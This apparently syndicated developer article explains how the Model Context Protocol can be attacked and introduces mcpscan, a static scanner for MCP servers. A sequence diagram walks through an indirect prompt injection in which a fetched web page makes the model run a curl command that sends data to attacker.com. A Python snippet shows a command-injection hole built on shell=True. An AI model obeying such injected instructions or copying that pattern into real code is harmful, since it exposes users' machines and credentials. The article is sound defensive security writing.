cd /news/ai-agents/threat-modeling-the-model-context-pr… · home › topics › ai-agents › article
[ARTICLE · art-144673] src=dev.to ↗ pub= topic=ai-agents verified=true sentiment=· neutral

Threat Modeling the Model Context Protocol: Securing Agentic Tools with mcpscan

A developer has released mcpscan, a lightweight static supply-chain security scanner built specifically for Model Context Protocol (MCP) servers and Claude Code projects. The tool audits MCP server implementations and local configurations for command injection, hardcoded secrets, and excessive permission scope, emitting SARIF 2.1.0 or JSON reports. The work outlines MCP's client-host-server threat model, including indirect prompt injection and credential exfiltration risks from over-privileged tools.

by read4 min views2 publishedOct 4, 2026

The Model Context Protocol (MCP) has emerged as an open standard connecting LLM interfaces (such as Claude Desktop and Claude Code) to local and remote execution environments. By allowing models to execute system tools, query databases, and parse filesystems, MCP bridges the gap between passive text generation and active agentic execution.

However, granting AI agents execution capabilities introduces direct attack vectors against host environments. Because MCP servers execute locally with user-level privileges, compromised or improperly sanitized tools can lead to arbitrary code execution, indirect prompt injection, credential exfiltration, and privilege escalation.

This article breaks down the threat model of the Model Context Protocol, analyzes primary attack vectors, and demonstrates static analysis auditing using mcpscan.

graph TD
    User([User Prompt]) --> Client[MCP Client / Claude Engine]
    Client -->|JSON-RPC via stdio/SSE| Host[MCP Host Environment]
    Host --> Server1[Local System Tools / CLI]
    Host --> Server2[Remote File / Database API]
    Server2 -->|Untrusted External Data| Client
    style Client fill:#1f2937,stroke:#4b5563,color:#fff
    style Host fill:#111827,stroke:#374151,color:#fff
    style Server1 fill:#1f2937,stroke:#4b5563,color:#fff
    style Server2 fill:#1f2937,stroke:#4b5563,color:#fff

MCP operates on a client-host-server architecture where host applications communicate with servers via JSON-RPC over stdio or Server-Sent Events (SSE).

Unlike REST APIs that rely on strict schema validation and deterministic caller authorization, MCP sits directly beneath an LLM reasoning engine. This architecture introduces unique operational vulnerabilities.

When an MCP tool fetches untrusted external data (such as parsing a webpage, reading an email header, or scanning a git commit), malicious payloads embedded in that data can manipulate the client model's context window.

sequenceDiagram
    autonumber
    actor User
    participant Client as MCP Client
    participant Server as MCP Tool (Web Reader)
    participant Attacker as External Target Site

    User->>Client: Fetch summary of target site
    Client->>Server: Call `read_url("http://target.site")`
    Server->>Attacker: HTTP GET
    Attacker-->>Server: HTML containing hidden payload
    Server-->>Client: Returns payload in context
    Note over Client: Payload instructs LLM to execute:<br/>`run_command("curl https://attacker.com/leak")`
    Client->>Server: Executes unauthorized tool call

Many community MCP servers wrap CLI tools (such as git, docker, or kubectl). Passing unsanitized LLM parameters directly into subshells creates classic command injection vectors:

import subprocess

def run_git_status(repo_path: str):
    return subprocess.check_output(f"git -C {repo_path} status", shell=True)

Configurations stored in .claude/claude_desktop_config.json often contain API keys, connection strings, or unrestricted root filesystem mounts (/). Over-privileged tools can read local state and transmit tokens to external endpoints via logging or network side-channels.

To audit MCP server implementations and local environment configurations before deployment, we use mcpscan: a lightweight, static supply-chain security scanner built specifically for MCP servers and Claude Code projects.

flowchart LR
    Target[Target Repository / Config] --> Scanner[mcpscan Engine]
    Scanner --> Rules{Rule Evaluation}
    Rules -->|Pattern Matching| Rule1[MCP001: Command Injection]
    Rules -->|Static Pattern Match| Rule2[MCP005: Hardcoded Secrets]
    Rules -->|Config Scope Check| Rule3[MCP004: Excessive Permission Scope]
    Rule1 --> Output[SARIF 2.1.0 / JSON Report]
    Rule2 --> Output
    Rule3 --> Output
    style Scanner fill:#0f172a,stroke:#38bdf8,color:#fff
    style Output fill:#1e293b,stroke:#475569,color:#fff

eval), and improper deserialization using regex-based rule matching over source lines — no full AST parse required, which is part of how it stays dependency-free..claude/ and .mcp/ JSON files for exposed secrets and over-broad directory access. mcpscan ships well over a dozen rules (run mcpscan --list-rules for the full, current list). Five representative categories:

Rule ID Category Detection Focus Severity
MCP001 Command Injection Unsanitized subprocess calls withshell=True oros.system() High
MCP002 Tool Poisoning Prompt-injection phrasing hidden in MCP tool descriptions/metadata High
MCP004 Over-privileged Scope Over-broad permissions in Claude Code / MCP configuration High
MCP005 Credential Leakage Secrets committed into MCP / Claude configuration files High
MCP009 Unsafe Deserialization Usage of pickle.loads() ,yaml.unsafe_load() , or unsafeeval() High

To run mcpscan against an MCP server repository or local configuration:

git clone https://github.com/glatinone/mcpscan.git
cd mcpscan

python3 -m mcpscan /path/to/target-mcp-server

python3 -m mcpscan --discover --format json

Integrate mcpscan directly into GitHub Actions to scan every pull request and upload findings to GitHub Code Scanning:

name: MCP Security Scan

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      contents: read

    steps:
      - name: Checkout Code
        uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Run mcpscan
        run: |
          git clone https://github.com/glatinone/mcpscan.git /tmp/mcpscan
          PYTHONPATH=/tmp/mcpscan python3 -m mcpscan . --format sarif --output results.sarif

      - name: Upload SARIF report
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: results.sarif

When authoring MCP servers, enforce these core defensive boundaries:

subprocess.run(["git", "status"], shell=False)). As agentic workflows scale, securing tool interfaces requires applying the same static analysis and threat modeling rigor used in traditional software engineering. mcpscan offers an automated, open-source path toward verifying MCP servers before execution.

── more in #ai-agents 4 stories · sorted by recency
── more on @model context protocol 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/threat-modeling-the-…] indexed:0 read:4min 2026-10-04 · —